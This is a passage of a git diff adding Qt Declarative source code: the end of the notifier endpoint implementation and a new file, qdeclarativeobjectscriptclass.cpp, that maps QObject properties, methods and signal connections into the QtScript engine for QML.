+ s->~Signal();
+ }
+}
+
+bool QDeclarativeNotifierEndpoint::isConnected()
+{
+ if (SignalType == type) {
+ return asSignal()->source;
+ } else if (NotifierType == type) {
+ return asNotifier()->notifier;
+ } else {
+ return false;
+ }
+}
+
+bool QDeclarativeNotifierEndpoint::isConnected(QObject *source, int sourceSignal)
+{
+ return SignalType == type && asSignal()->source == source && asSignal()->sourceSignal == sourceSignal;
+}
+
+bool QDeclarativeNotifierEndpoint::isConnected(QDeclarativeNotifier *notifier)
+{
+ return NotifierType == type && asNotifier()->notifier == notifier;
+}
+
+void QDeclarativeNotifierEndpoint::connect(QDeclarativeNotifier *notifier)
+{
+ Notifier *n = toNotifier();
+
+ if (n->notifier == notifier)
+ return;
+
+ disconnect();
+
+ n->next = notifier->endpoints;
+ if (n->next) { n->next->asNotifier()->prev = &n->next; }
+ notifier->endpoints = this;
+ n->prev = &notifier->endpoints;
+ n->notifier = notifier;
+}
+
+void QDeclarativeNotifierEndpoint::disconnect()
+{
+ if (type == SignalType) {
+ Signal *s = asSignal();
+ if (s->source) {
+ QMetaObject::disconnectOne(s->source, s->sourceSignal, target, targetMethod);
+ s->source = 0;
+ }
+ } else if (type == NotifierType) {
+ Notifier *n = asNotifier();
+
+ if (n->next) n->next->asNotifier()->prev = n->prev;
+ if (n->prev) *n->prev = n->next;
+ if (n->disconnected) *n->disconnected = 0;
+ n->next = 0;
+ n->prev = 0;
+ n->disconnected = 0;
+ n->notifier = 0;
+ }
+}
+
+QDeclarativeNotifierEndpoint::Notifier *QDeclarativeNotifierEndpoint::toNotifier()
+{
+ if (NotifierType == type)
+ return asNotifier();
+
+ if (SignalType == type) {
+ disconnect();
+ Signal *s = asSignal();
+ s->~Signal();
+ }
+
+ type = NotifierType;
+ Notifier *n = asNotifier();
+ n->next = 0;
+ n->prev = 0;
+ n->disconnected = 0;
+ n->notifier = 0;
+ return n;
+}
+
+QDeclarativeNotifierEndpoint::Notifier *QDeclarativeNotifierEndpoint::asNotifier()
+{
+ Q_ASSERT(type == NotifierType);
+ return &notifier;
+}
+
+QDeclarativeNotifierEndpoint::Signal *QDeclarativeNotifierEndpoint::toSignal()
+{
+ if (SignalType == type)
+ return asSignal();
+
+ disconnect();
+ signal.signal = new (&signal.signalData) Signal;
+ type = SignalType;
+ return signal.signal;
+}
+
+QDeclarativeNotifierEndpoint::Signal *QDeclarativeNotifierEndpoint::asSignal()
+{
+ Q_ASSERT(type == SignalType);
+ return signal.signal;
+}
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVENOTIFIER_P_H
+
diff --git a/src/declarative/qml/qdeclarativeobjectscriptclass.cpp b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
new file mode 100644
index 00000000..e3d01c39
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeobjectscriptclass.cpp
@@ -0,0 +1,1242 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeobjectscriptclass_p.h"
+
+#include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativecontext_p.h"
+#include "private/qdeclarativedata_p.h"
+#include "private/qdeclarativetypenamescriptclass_p.h"
+#include "private/qdeclarativelistscriptclass_p.h"
+#include "private/qdeclarativebinding_p.h"
+#include "private/qdeclarativeguard_p.h"
+#include "private/qdeclarativevmemetaobject_p.h"
+
+#include <QtCore/qtimer.h>
+#include <QtCore/qvarlengtharray.h>
+#include <QtScript/qscriptcontextinfo.h>
+
+Q_DECLARE_METATYPE(QScriptValue)
+
+#if defined(__GNUC__)
+# if (__GNUC__ * 100 + __GNUC_MINOR__) >= 405
+// The code in this file does not violate strict aliasing, but GCC thinks it does
+// so turn off the warnings for us to have a clean build
+# pragma GCC diagnostic ignored "-Wstrict-aliasing"
+# endif
+#endif
+
+QT_BEGIN_NAMESPACE
+
+struct ObjectData : public QScriptDeclarativeClass::Object {
+ ObjectData(QObject *o, int t) : object(o), type(t) {
+ if (o) {
+ QDeclarativeData *ddata = QDeclarativeData::get(object, true);
+ if (ddata) ddata->objectDataRefCount++;
+ }
+ }
+
+ virtual ~ObjectData() {
+ if (object && !object->parent()) {
+ QDeclarativeData *ddata = QDeclarativeData::get(object, false);
+ if (ddata && !ddata->indestructible && 0 == --ddata->objectDataRefCount)
+ object->deleteLater();
+ }
+ }
+
+ QDeclarativeGuard<QObject> object;
+ int type;
+};
+
+/*
+ The QDeclarativeObjectScriptClass handles property access for QObjects
+ via QtScript. It is also used to provide a more useful API in
+ QtScript for QML.
+ */
+QDeclarativeObjectScriptClass::QDeclarativeObjectScriptClass(QDeclarativeEngine *bindEngine)
+: QScriptDeclarativeClass(QDeclarativeEnginePrivate::getScriptEngine(bindEngine)),
+ methods(bindEngine), lastData(0), engine(bindEngine)
+{
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+
+ m_destroy = scriptEngine->newFunction(destroy);
+ m_destroyId = createPersistentIdentifier(QLatin1String("destroy"));
+ m_toString = scriptEngine->newFunction(tostring);
+ m_toStringId = createPersistentIdentifier(QLatin1String("toString"));
+}
+
+QDeclarativeObjectScriptClass::~QDeclarativeObjectScriptClass()
+{
+}
+
+QScriptValue QDeclarativeObjectScriptClass::newQObject(QObject *object, int type)
+{
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+
+ if (!object)
+ return scriptEngine->nullValue();
+// return newObject(scriptEngine, this, new ObjectData(object, type));
+
+ if (QObjectPrivate::get(object)->wasDeleted)
+ return scriptEngine->undefinedValue();
+
+ QDeclarativeData *ddata = QDeclarativeData::get(object, true);
+
+ if (!ddata) {
+ return scriptEngine->undefinedValue();
+ } else if (!ddata->indestructible && !object->parent()) {
+ return newObject(scriptEngine, this, new ObjectData(object, type));
+ } else if (!ddata->scriptValue) {
+ ddata->scriptValue = new QScriptValue(newObject(scriptEngine, this, new ObjectData(object, type)));
+ return *ddata->scriptValue;
+ } else if (ddata->scriptValue->engine() == QDeclarativeEnginePrivate::getScriptEngine(engine)) {
+ return *ddata->scriptValue;
+ } else {
+ return newObject(scriptEngine, this, new ObjectData(object, type));
+ }
+}
+
+QObject *QDeclarativeObjectScriptClass::toQObject(const QScriptValue &value) const
+{
+ return value.toQObject();
+}
+
+int QDeclarativeObjectScriptClass::objectType(const QScriptValue &value) const
+{
+ if (scriptClass(value) != this)
+ return QVariant::Invalid;
+
+ Object *o = object(value);
+ return ((ObjectData*)(o))->type;
+}
+
+QScriptClass::QueryFlags
+QDeclarativeObjectScriptClass::queryProperty(Object *object, const Identifier &name,
+ QScriptClass::QueryFlags flags)
+{
+ return queryProperty(toQObject(object), name, flags, 0);
+}
+
+QScriptClass::QueryFlags
+QDeclarativeObjectScriptClass::queryProperty(QObject *obj, const Identifier &name,
+ QScriptClass::QueryFlags flags, QDeclarativeContextData *evalContext,
+ QueryHints hints)
+{
+ Q_UNUSED(flags);
+ lastData = 0;
+ lastTNData = 0;
+
+ if (name == m_destroyId.identifier ||
+ name == m_toStringId.identifier)
+ return QScriptClass::HandlesReadAccess;
+
+ if (!obj)
+ return 0;
+
+ QDeclarativeEnginePrivate *enginePrivate = QDeclarativeEnginePrivate::get(engine);
+ lastData = QDeclarativePropertyCache::property(engine, obj, name, local);
+ if ((hints & ImplicitObject) && lastData && lastData->revision != 0) {
+
+ QDeclarativeData *ddata = QDeclarativeData::get(obj);
+ if (ddata && ddata->propertyCache && !ddata->propertyCache->isAllowedInRevision(lastData))
+ return 0;
+ }
+
+ if (lastData)
+ return QScriptClass::HandlesReadAccess | QScriptClass::HandlesWriteAccess;
+
+ if (!(hints & SkipAttachedProperties)) {
+ if (!evalContext && context()) {
+ // Global object, QScriptContext activation object, QDeclarativeContext object
+ QScriptValue scopeNode = scopeChainValue(context(), -3);
+ if (scopeNode.isValid()) {
+ Q_ASSERT(scriptClass(scopeNode) == enginePrivate->contextClass);
+
+ evalContext = enginePrivate->contextClass->contextFromValue(scopeNode);
+ }
+ }
+
+ if (evalContext && evalContext->imports) {
+ QDeclarativeTypeNameCache::Data *data = evalContext->imports->data(name);
+ if (data) {
+ lastTNData = data;
+ return QScriptClass::HandlesReadAccess;
+ }
+ }
+ }
+
+ if (!(hints & ImplicitObject)) {
+ local.coreIndex = -1;
+ lastData = &local;
+ return QScriptClass::HandlesWriteAccess;
+ }
+
+ return 0;
+}
+
+QDeclarativeObjectScriptClass::Value
+QDeclarativeObjectScriptClass::property(Object *object, const Identifier &name)
+{
+ return property(toQObject(object), name);
+}
+
+QDeclarativeObjectScriptClass::Value
+QDeclarativeObjectScriptClass::property(QObject *obj, const Identifier &name)
+{
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+
+ if (name == m_destroyId.identifier)
+ return Value(scriptEngine, m_destroy);
+ else if (name == m_toStringId.identifier)
+ return Value(scriptEngine, m_toString);
+
+ if (lastData && !lastData->isValid())
+ return Value();
+
+ Q_ASSERT(obj);
+
+ QDeclarativeEnginePrivate *enginePriv = QDeclarativeEnginePrivate::get(engine);
+
+ if (lastTNData) {
+
+ if (lastTNData->type)
+ return Value(scriptEngine, enginePriv->typeNameClass->newObject(obj, lastTNData->type));
+ else
+ return Value(scriptEngine, enginePriv->typeNameClass->newObject(obj, lastTNData->typeNamespace));
+
+ } else if (lastData->flags & QDeclarativePropertyCache::Data::IsFunction) {
+ if (lastData->flags & QDeclarativePropertyCache::Data::IsVMEFunction) {
+ return Value(scriptEngine, ((QDeclarativeVMEMetaObject *)(obj->metaObject()))->vmeMethod(lastData->coreIndex));
+ } else {
+ // Uncomment to use QtScript method call logic
+ // QScriptValue sobj = scriptEngine->newQObject(obj);
+ // return Value(scriptEngine, sobj.property(toString(name)));
+ return Value(scriptEngine, methods.newMethod(obj, lastData));
+ }
+ } else {
+ if (enginePriv->captureProperties && !(lastData->flags & QDeclarativePropertyCache::Data::IsConstant)) {
+ if (lastData->coreIndex == 0) {
+ enginePriv->capturedProperties <<
+ QDeclarativeEnginePrivate::CapturedProperty(QDeclarativeData::get(obj, true)->objectNameNotifier());
+ } else {
+ enginePriv->capturedProperties <<
+ QDeclarativeEnginePrivate::CapturedProperty(obj, lastData->coreIndex, lastData->notifyIndex);
+ }
+ }
+
+ if (QDeclarativeValueTypeFactory::isValueType((uint)lastData->propType)) {
+ QDeclarativeValueType *valueType = enginePriv->valueTypes[lastData->propType];
+ if (valueType)
+ return Value(scriptEngine, enginePriv->valueTypeClass->newObject(obj, lastData->coreIndex, valueType));
+ }
+
+ if (lastData->flags & QDeclarativePropertyCache::Data::IsQList) {
+ return Value(scriptEngine, enginePriv->listClass->newList(obj, lastData->coreIndex, lastData->propType));
+ } else if (lastData->flags & QDeclarativePropertyCache::Data::IsQObjectDerived) {
+ QObject *rv = 0;
+ void *args[] = { &rv, 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, lastData->coreIndex, args);
+ return Value(scriptEngine, newQObject(rv, lastData->propType));
+ } else if (lastData->flags & QDeclarativePropertyCache::Data::IsQScriptValue) {
+ QScriptValue rv = scriptEngine->nullValue();
+ void *args[] = { &rv, 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, lastData->coreIndex, args);
+ return Value(scriptEngine, rv);
+ } else if (lastData->propType == QMetaType::QReal) {
+ qreal rv = 0;
+ void *args[] = { &rv, 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, lastData->coreIndex, args);
+ return Value(scriptEngine, rv);
+ } else if (lastData->propType == QMetaType::Int || lastData->flags & QDeclarativePropertyCache::Data::IsEnumType) {
+ int rv = 0;
+ void *args[] = { &rv, 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, lastData->coreIndex, args);
+ return Value(scriptEngine, rv);
+ } else if (lastData->propType == QMetaType::Bool) {
+ bool rv = false;
+ void *args[] = { &rv, 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, lastData->coreIndex, args);
+ return Value(scriptEngine, rv);
+ } else if (lastData->propType == QMetaType::QString) {
+ QString rv;
+ void *args[] = { &rv, 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, lastData->coreIndex, args);
+ return Value(scriptEngine, rv);
+ } else if (lastData->propType == QMetaType::UInt) {
+ uint rv = 0;
+ void *args[] = { &rv, 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, lastData->coreIndex, args);
+ return Value(scriptEngine, rv);
+ } else if (lastData->propType == QMetaType::Float) {
+ float rv = 0;
+ void *args[] = { &rv, 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, lastData->coreIndex, args);
+ return Value(scriptEngine, rv);
+ } else if (lastData->propType == QMetaType::Double) {
+ double rv = 0;
+ void *args[] = { &rv, 0 };
+ QMetaObject::metacall(obj, QMetaObject::ReadProperty, lastData->coreIndex, args);
+ return Value(scriptEngine, rv);
+ } else {
+ QVariant var = obj->metaObject()->property(lastData->coreIndex).read(obj);
+ return Value(scriptEngine, enginePriv->scriptValueFromVariant(var));
+ }
+ }
+}
+
+void QDeclarativeObjectScriptClass::setProperty(Object *object,
+ const Identifier &name,
+ const QScriptValue &value)
+{
+ return setProperty(toQObject(object), name, value, context());
+}
+
+void QDeclarativeObjectScriptClass::setProperty(QObject *obj,
+ const Identifier &name,
+ const QScriptValue &value,
+ QScriptContext *context,
+ QDeclarativeContextData *evalContext)
+{
+ Q_UNUSED(name);
+
+ Q_ASSERT(obj);
+ Q_ASSERT(lastData);
+ Q_ASSERT(context);
+
+ if (!lastData->isValid()) {
+ QString error = QLatin1String("Cannot assign to non-existent property \"") +
+ toString(name) + QLatin1Char('\"');
+ context->throwError(error);
+ return;
+ }
+
+ if (!(lastData->flags & QDeclarativePropertyCache::Data::IsWritable) &&
+ !(lastData->flags & QDeclarativePropertyCache::Data::IsQList)) {
+ QString error = QLatin1String("Cannot assign to read-only property \"") +
+ toString(name) + QLatin1Char('\"');
+ context->throwError(error);
+ return;
+ }
+
+ QDeclarativeEnginePrivate *enginePriv = QDeclarativeEnginePrivate::get(engine);
+
+ if (!evalContext) {
+ // Global object, QScriptContext activation object, QDeclarativeContext object
+ QScriptValue scopeNode = scopeChainValue(context, -3);
+ if (scopeNode.isValid()) {
+ Q_ASSERT(scriptClass(scopeNode) == enginePriv->contextClass);
+
+ evalContext = enginePriv->contextClass->contextFromValue(scopeNode);
+ }
+ }
+
+ QDeclarativeBinding *newBinding = 0;
+ if (value.isFunction() && !value.isRegExp()) {
+ QScriptContextInfo ctxtInfo(context);
+ QDeclarativePropertyCache::ValueTypeData valueTypeData;
+
+ newBinding = new QDeclarativeBinding(value, obj, evalContext);
+ newBinding->setSourceLocation(ctxtInfo.fileName(), ctxtInfo.functionStartLineNumber());
+ newBinding->setTarget(QDeclarativePropertyPrivate::restore(*lastData, valueTypeData, obj, evalContext));
+ if (newBinding->expression().contains(QLatin1String("this")))
+ newBinding->setEvaluateFlags(newBinding->evaluateFlags() | QDeclarativeBinding::RequiresThisObject);
+ }
+
+ QDeclarativeAbstractBinding *delBinding =
+ QDeclarativePropertyPrivate::setBinding(obj, lastData->coreIndex, -1, newBinding);
+ if (delBinding)
+ delBinding->destroy();
+
+ if (value.isNull() && lastData->flags & QDeclarativePropertyCache::Data::IsQObjectDerived) {
+ QObject *o = 0;
+ int status = -1;
+ int flags = 0;
+ void *argv[] = { &o, 0, &status, &flags };
+ QMetaObject::metacall(obj, QMetaObject::WriteProperty, lastData->coreIndex, argv);
+ } else if (value.isUndefined() && lastData->flags & QDeclarativePropertyCache::Data::IsResettable) {
+ void *a[] = { 0 };
+ QMetaObject::metacall(obj, QMetaObject::ResetProperty, lastData->coreIndex, a);
+ } else if (value.isUndefined() && lastData->propType == qMetaTypeId<QVariant>()) {
+ QDeclarativePropertyPrivate::write(obj, *lastData, QVariant(), evalContext);
+ } else if (value.isUndefined()) {
+ QString error = QLatin1String("Cannot assign [undefined] to ") +
+ QLatin1String(QMetaType::typeName(lastData->propType));
+ context->throwError(error);
+ } else if (value.isFunction() && !value.isRegExp()) {
+ // this is handled by the binding creation above
+ } else {
+ //### expand optimization for other known types
+ if (lastData->propType == QMetaType::Int && value.isNumber()) {
+ int rawValue = qRound(value.toNumber());
+ int status = -1;
+ int flags = 0;
+ void *a[] = { (void *)&rawValue, 0, &status, &flags };
+ QMetaObject::metacall(obj, QMetaObject::WriteProperty,
+ lastData->coreIndex, a);
+ return;
+ } else if (lastData->propType == QMetaType::QReal && value.isNumber()) {
+ qreal rawValue = qreal(value.toNumber());
+ int status = -1;
+ int flags = 0;
+ void *a[] = { (void *)&rawValue, 0, &status, &flags };
+ QMetaObject::metacall(obj, QMetaObject::WriteProperty,
+ lastData->coreIndex, a);
+ return;
+ } else if (lastData->propType == QMetaType::QString && value.isString()) {
+ const QString &rawValue = value.toString();
+ int status = -1;
+ int flags = 0;
+ void *a[] = { (void *)&rawValue, 0, &status, &flags };
+ QMetaObject::metacall(obj, QMetaObject::WriteProperty,
+ lastData->coreIndex, a);
+ return;
+ }
+
+ QVariant v;
+ if (lastData->flags & QDeclarativePropertyCache::Data::IsQList)
+ v = enginePriv->scriptValueToVariant(value, qMetaTypeId<QList<QObject *> >());
+ else
+ v = enginePriv->scriptValueToVariant(value, lastData->propType);
+
+ if (!QDeclarativePropertyPrivate::write(obj, *lastData, v, evalContext)) {
+ const char *valueType = 0;
+ if (v.userType() == QVariant::Invalid) valueType = "null";
+ else valueType = QMetaType::typeName(v.userType());
+
+ QString error = QLatin1String("Cannot assign ") +
+ QLatin1String(valueType) +
+ QLatin1String(" to ") +
+ QLatin1String(QMetaType::typeName(lastData->propType));
+ context->throwError(error);
+ }
+ }
+}
+
+bool QDeclarativeObjectScriptClass::isQObject() const
+{
+ return true;
+}
+
+QObject *QDeclarativeObjectScriptClass::toQObject(Object *object, bool *ok)
+{
+ if (ok) *ok = true;
+
+ ObjectData *data = (ObjectData*)object;
+ return data->object.data();
+}
+
+QScriptValue QDeclarativeObjectScriptClass::tostring(QScriptContext *context, QScriptEngine *)
+{
+ QObject* obj = context->thisObject().toQObject();
+
+ QString ret;
+ if(obj){
+ QString objectName = obj->objectName();
+
+ ret += QString::fromUtf8(obj->metaObject()->className());
+ ret += QLatin1String("(0x");
+ ret += QString::number((quintptr)obj,16);
+
+ if (!objectName.isEmpty()) {
+ ret += QLatin1String(", \"");
+ ret += objectName;
+ ret += QLatin1Char('\"');
+ }
+
+ ret += QLatin1Char(')');
+ }else{
+ ret += QLatin1String("null");
+ }
+ return QScriptValue(ret);
+}
+
+QScriptValue QDeclarativeObjectScriptClass::destroy(QScriptContext *context, QScriptEngine *engine)
+{
+ QDeclarativeEnginePrivate *p = QDeclarativeEnginePrivate::get(engine);
+ QScriptValue that = context->thisObject();
+
+ if (scriptClass(that) != p->objectClass)
+ return engine->undefinedValue();
+
+ ObjectData *data = (ObjectData *)p->objectClass->object(that);
+ if (!data->object)
+ return engine->undefinedValue();
+
+ QDeclarativeData *ddata = QDeclarativeData::get(data->object, false);
+ if (!ddata || ddata->indestructible)
+ return engine->currentContext()->throwError(QLatin1String("Invalid attempt to destroy() an indestructible object"));
+
+ QObject *obj = data->object;
+ int delay = 0;
+ if (context->argumentCount() > 0)
+ delay = context->argument(0).toInt32();
+ if (delay > 0)
+ QTimer::singleShot(delay, obj, SLOT(deleteLater()));
+ else
+ obj->deleteLater();
+
+ return engine->undefinedValue();
+}
+
+QStringList QDeclarativeObjectScriptClass::propertyNames(Object *object)
+{
+ QObject *obj = toQObject(object);
+ if (!obj)
+ return QStringList();
+
+ QDeclarativeEnginePrivate *enginePrivate = QDeclarativeEnginePrivate::get(engine);
+
+ QDeclarativePropertyCache *cache = 0;
+ QDeclarativeData *ddata = QDeclarativeData::get(obj);
+ if (ddata)
+ cache = ddata->propertyCache;
+ if (!cache) {
+ cache = enginePrivate->cache(obj);
+ if (cache) {
+ if (ddata) { cache->addref(); ddata->propertyCache = cache; }
+ } else {
+ // Not cachable - fall back to QMetaObject (eg. dynamic meta object)
+ // XXX QDeclarativeOpenMetaObject has a cache, so this is suboptimal.
+ // XXX This is a workaround for QTBUG-9420.
+ const QMetaObject *mo = obj->metaObject();
+ QStringList r;
+ int pc = mo->propertyCount();
+ int po = mo->propertyOffset();
+ for (int i=po; i<pc; ++i)
+ r += QString::fromUtf8(mo->property(i).name());
+ return r;
+ }
+ }
+ return cache->propertyNames();
+}
+
+bool QDeclarativeObjectScriptClass::compare(Object *o1, Object *o2)
+{
+ ObjectData *d1 = (ObjectData *)o1;
+ ObjectData *d2 = (ObjectData *)o2;
+
+ return d1 == d2 || d1->object == d2->object;
+}
+
+struct MethodData : public QScriptDeclarativeClass::Object {
+ MethodData(QObject *o, const QDeclarativePropertyCache::Data &d) : object(o), data(d) {}
+
+ QDeclarativeGuard<QObject> object;
+ QDeclarativePropertyCache::Data data;
+};
+
+QDeclarativeObjectMethodScriptClass::QDeclarativeObjectMethodScriptClass(QDeclarativeEngine *bindEngine)
+: QScriptDeclarativeClass(QDeclarativeEnginePrivate::getScriptEngine(bindEngine)),
+ engine(bindEngine)
+{
+ qRegisterMetaType<QList<QObject *> >("QList<QObject *>");
+
+ setSupportsCall(true);
+
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+
+ m_connect = scriptEngine->newFunction(connect);
+ m_connectId = createPersistentIdentifier(QLatin1String("connect"));
+ m_disconnect = scriptEngine->newFunction(disconnect);
+ m_disconnectId = createPersistentIdentifier(QLatin1String("disconnect"));
+}
+
+QDeclarativeObjectMethodScriptClass::~QDeclarativeObjectMethodScriptClass()
+{
+}
+
+QScriptValue QDeclarativeObjectMethodScriptClass::newMethod(QObject *object, const QDeclarativePropertyCache::Data *method)
+{
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+
+ return newObject(scriptEngine, this, new MethodData(object, *method));
+}
+
+QScriptValue QDeclarativeObjectMethodScriptClass::connect(QScriptContext *context, QScriptEngine *engine)
+{
+ QDeclarativeEnginePrivate *p = QDeclarativeEnginePrivate::get(engine);
+
+ QScriptValue that = context->thisObject();
+ if (&p->objectClass->methods != scriptClass(that))
+ return engine->undefinedValue();
+
+ MethodData *data = (MethodData *)object(that);
+
+ if (!data->object || context->argumentCount() == 0)
+ return engine->undefinedValue();
+
+ QByteArray signal("2");
+ signal.append(data->object->metaObject()->method(data->data.coreIndex).signature());
+
+ if (context->argumentCount() == 1) {
+ qScriptConnect(data->object, signal.constData(), QScriptValue(), context->argument(0));
+ } else {
+ qScriptConnect(data->object, signal.constData(), context->argument(0), context->argument(1));
+ }
+
+ return engine->undefinedValue();
+}
+
+QScriptValue QDeclarativeObjectMethodScriptClass::disconnect(QScriptContext *context, QScriptEngine *engine)
+{
+ QDeclarativeEnginePrivate *p = QDeclarativeEnginePrivate::get(engine);
+
+ QScriptValue that = context->thisObject();
+ if (&p->objectClass->methods != scriptClass(that))
+ return engine->undefinedValue();
+
+ MethodData *data = (MethodData *)object(that);
+
+ if (!data->object || context->argumentCount() == 0)
+ return engine->undefinedValue();
+
+ QByteArray signal("2");
+ signal.append(data->object->metaObject()->method(data->data.coreIndex).signature());
+
+ if (context->argumentCount() == 1) {
+ qScriptDisconnect(data->object, signal.constData(), QScriptValue(), context->argument(0));
+ } else {
+ qScriptDisconnect(data->object, signal.constData(), context->argument(0), context->argument(1));
+ }
+
+ return engine->undefinedValue();
+}
+
+QScriptClass::QueryFlags
+QDeclarativeObjectMethodScriptClass::queryProperty(Object *, const Identifier &name,
+ QScriptClass::QueryFlags flags)
+{
+ Q_UNUSED(flags);
+ if (name == m_connectId.identifier || name == m_disconnectId.identifier)
+ return QScriptClass::HandlesReadAccess;
+ else
+ return 0;
+
+}
+
+QDeclarativeObjectMethodScriptClass::Value
+QDeclarativeObjectMethodScriptClass::property(Object *, const Identifier &name)
+{
+ QScriptEngine *scriptEngine = QDeclarativeEnginePrivate::getScriptEngine(engine);
+
+ if (name == m_connectId.identifier)
+ return Value(scriptEngine, m_connect);
+ else if (name == m_disconnectId.identifier)
+ return Value(scriptEngine, m_disconnect);
+ else
+ return Value();
+}
+
+namespace {
+struct MetaCallArgument {
+ inline MetaCallArgument();
+ inline ~MetaCallArgument();
+ inline void *dataPtr();
+
+ inline void initAsType(int type, QDeclarativeEngine *);
+ void fromScriptValue(int type, QDeclarativeEngine *, const QScriptValue &);
+ inline QScriptDeclarativeClass::Value toValue(QDeclarativeEngine *);
+
+private:
+ MetaCallArgument(const MetaCallArgument &);
+
+ inline void cleanup();
+
+ union {
+ float floatValue;
+ double doubleValue;
+ quint32 intValue;
+ bool boolValue;
+ QObject *qobjectPtr;
+
+ char allocData[sizeof(QVariant)];
+ };
+
+ // Pointers to allocData
+ union {
+ QString *qstringPtr;
+ QVariant *qvariantPtr;
+ QList<QObject *> *qlistPtr;
+ QScriptValue *qscriptValuePtr;
+ };
+
+ int type;
+};
+}
+
+MetaCallArgument::MetaCallArgument()
+: type(QVariant::Invalid)
+{
+}
+
+MetaCallArgument::~MetaCallArgument()
+{
+ cleanup();
+}
+
+void MetaCallArgument::cleanup()
+{
+ if (type == QMetaType::QString) {
+ qstringPtr->~QString();
+ } else if (type == -1 || type == QMetaType::QVariant) {
+ qvariantPtr->~QVariant();
+ } else if (type == qMetaTypeId<QScriptValue>()) {
+ qscriptValuePtr->~QScriptValue();
+ } else if (type == qMetaTypeId<QList<QObject *> >()) {
+ qlistPtr->~QList<QObject *>();
+ }
+}
+
+void *MetaCallArgument::dataPtr()
+{
+ if (type == -1)
+ return qvariantPtr->data();
+ else
+ return (void *)&allocData;
+}
+
+void MetaCallArgument::initAsType(int callType, QDeclarativeEngine *e)
+{
+ if (type != 0) { cleanup(); type = 0; }
+ if (callType == 0) return;
+
+ QScriptEngine *engine = QDeclarativeEnginePrivate::getScriptEngine(e);
+
+ if (callType == qMetaTypeId<QScriptValue>()) {
+ qscriptValuePtr = new (&allocData) QScriptValue(engine->undefinedValue());
+ type = callType;
+ } else if (callType == QMetaType::Int ||
+ callType == QMetaType::UInt ||
+ callType == QMetaType::Bool ||
+ callType == QMetaType::Double ||
+ callType == QMetaType::Float) {
+ type = callType;
+ } else if (callType == QMetaType::QObjectStar) {
+ qobjectPtr = 0;
+ type = callType;
+ } else if (callType == QMetaType::QString) {
+ qstringPtr = new (&allocData) QString();
+ type = callType;
+ } else if (callType == qMetaTypeId<QVariant>()) {
+ type = callType;
+ qvariantPtr = new (&allocData) QVariant();
+ } else if (callType == qMetaTypeId<QList<QObject *> >()) {
+ type = callType;
+ qlistPtr = new (&allocData) QList<QObject *>();
+ } else {
+ type = -1;
+ qvariantPtr = new (&allocData) QVariant(callType, (void *)0);
+ }
+}
+
+void MetaCallArgument::fromScriptValue(int callType, QDeclarativeEngine *engine, const QScriptValue &value)
+{
+ if (type != 0) { cleanup(); type = 0; }
+
+ if (callType == qMetaTypeId<QScriptValue>()) {
+ qscriptValuePtr = new (&allocData) QScriptValue(value);
+ type = qMetaTypeId<QScriptValue>();
+ } else if (callType == QMetaType::Int) {
+ intValue = quint32(value.toInt32());
+ type = callType;
+ } else if (callType == QMetaType::UInt) {
+ intValue = quint32(value.toUInt32());
+ type = callType;
+ } else if (callType == QMetaType::Bool) {
+ boolValue = value.toBool();
+ type = callType;
+ } else if (callType == QMetaType::Double) {
+ doubleValue = double(value.toNumber());
+ type = callType;
+ } else if (callType == QMetaType::Float) {
+ floatValue = float(value.toNumber());
+ type = callType;
+ } else if (callType == QMetaType::QString) {
+ if (value.isNull() || value.isUndefined())
+ qstringPtr = new (&allocData) QString();
+ else
+ qstringPtr = new (&allocData) QString(value.toString());
+ type = callType;
+ } else if (callType == QMetaType::QObjectStar) {
+ qobjectPtr = value.toQObject();
+ type = callType;
+ } else if (callType == qMetaTypeId<QVariant>()) {
+ QVariant other = QDeclarativeEnginePrivate::get(engine)->scriptValueToVariant(value);
+ qvariantPtr = new (&allocData) QVariant(other);
+ type = callType;
+ } else if (callType == qMetaTypeId<QList<QObject*> >()) {
+ qlistPtr = new (&allocData) QList<QObject *>();
+ if (value.isArray()) {
+ int length = value.property(QLatin1String("length")).toInt32();
+ for (int ii = 0; ii < length; ++ii) {
+ QScriptValue arrayItem = value.property(ii);
+ QObject *d = arrayItem.toQObject();
+ qlistPtr->append(d);
+ }
+ } else if (QObject *d = value.toQObject()) {
+ qlistPtr->append(d);
+ }
+ type = callType;
+ } else {
